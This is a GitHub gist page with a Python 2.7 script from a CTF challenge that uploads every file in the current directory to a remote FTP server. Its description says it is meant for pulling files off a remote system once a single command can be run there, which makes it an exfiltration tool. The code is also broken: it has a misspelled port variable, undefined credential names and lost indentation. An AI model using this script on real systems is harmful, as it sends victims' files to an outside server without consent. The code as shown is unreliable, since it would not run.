Skip to content

Instantly share code, notes, and snippets.

@moshekaplan
Last active December 12, 2015 08:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moshekaplan/4742072 to your computer and use it in GitHub Desktop.
Save moshekaplan/4742072 to your computer and use it in GitHub Desktop.
This python (2.7) script uploads all of the files in the working directory to a remote FTP server. It's meant to be used for removing files from a remote system once you have the ability to execute a single command. This was written for 29c3 ctf's minesweeper challenge.
#! /usr/bin/env python
# Uploads every file in the directory to the specified FTP server
import os
import os.path
from ftplib import FTP
HOST = "127.0.0.1"
PORT = 21
USER = username
PASS = password
# Connect and authenticate to the FTP server
ftp = FTP()
ftp.connect(HOST, POST)
ftp.login(username, password)
for fname in os.listdir('.'):
if os.path.isfile(fname):
try:
fh = open(fname, 'rb')
ftp.storbinary("STOR "+ fname, fh)
except:
pass
ftp.quit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment